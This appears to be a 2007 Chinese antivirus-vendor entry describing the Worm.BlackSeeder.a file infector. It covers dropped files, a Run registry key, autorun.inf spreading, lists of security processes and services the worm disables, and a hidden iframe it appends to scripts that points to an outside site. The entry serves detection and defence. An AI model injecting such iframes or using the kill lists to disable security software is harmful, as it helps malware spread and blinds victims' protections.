Worm.BlackSeeder.a

病毒别名： 处理时间：2007-04-06 威胁级别：★

中文名称： 病毒类型：蠕虫 影响系统：Win 9x/ME,Win 2000/NT,Win XP,Win 2003

病毒行为:

这是一个感染型病毒。会感染可执行文件和脚本文件。

1、生成的文件

%DOCUME~1%\\ADMINI~1\\LOCALS~1\\Temp\\BLACKSEEDER1.1

%SystemRoot%\\Downloaded Program Files\\0005486A.exe

%SystemRoot%\\Downloaded Program Files\\0005486A.DAT

2、添加启动项

HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

"MSLOGON" = "C:\\WINNT\\Downloaded Program Files\\0005486A.exe"

3、在个盘下生成autorun.inf启动，并设置文件属性为隐藏。

%X:%\\0005486A.exe

%X:%\\autorun.inf

4、感染脚本，在脚本末添加

%iframe src=http://www.wangzheqiaodan.com/girl/picture.*** width=0 height=0%%/iframe%

5、感染可执行文件，修改原文件入口，在原文件加名为BSDR1.1的节。

6、不断的读软区，发现没软盘会不断的弹没软盘的错误提示。

7、结束下列进程

mcshield.exe

vstskmgr.exe

naprdmgr.exe

aterui.exe

tbmon.exe

scan32.exe

ravmond.exe

ccenter.exe

ravtask.exe

rav.exe

ravmon.exe

ravmond.exe

ravstub.exe

kvxp.kxp

kvmonxp.kxp

kvcenter.kxp

kvsrvxp.exe

kregex.exe

uihost.exe

trojdie.kxp

frogagent.exe

360Safe.exe

AST.exe

8、修改下列服务，禁止启动运行

kavsvc

AVP

AVPkavsvc

McAfeeFramework

McShield

McTaskManager

McAfeeFramework McShield

McTaskManager

navapsvc

KVWSC

KVSrvXP

Schedule

sharedaccess

RsCCenter

RsRavMon

RsCCenter

RsRavMon

wscsvc

KPfwSvc

SNDSrvc

ccProxy

ccEvtMgr

ccSetMgr

SPBBCSvc

Symantec

Core LC

NPFMntor

MskService

FireSvc

Alerter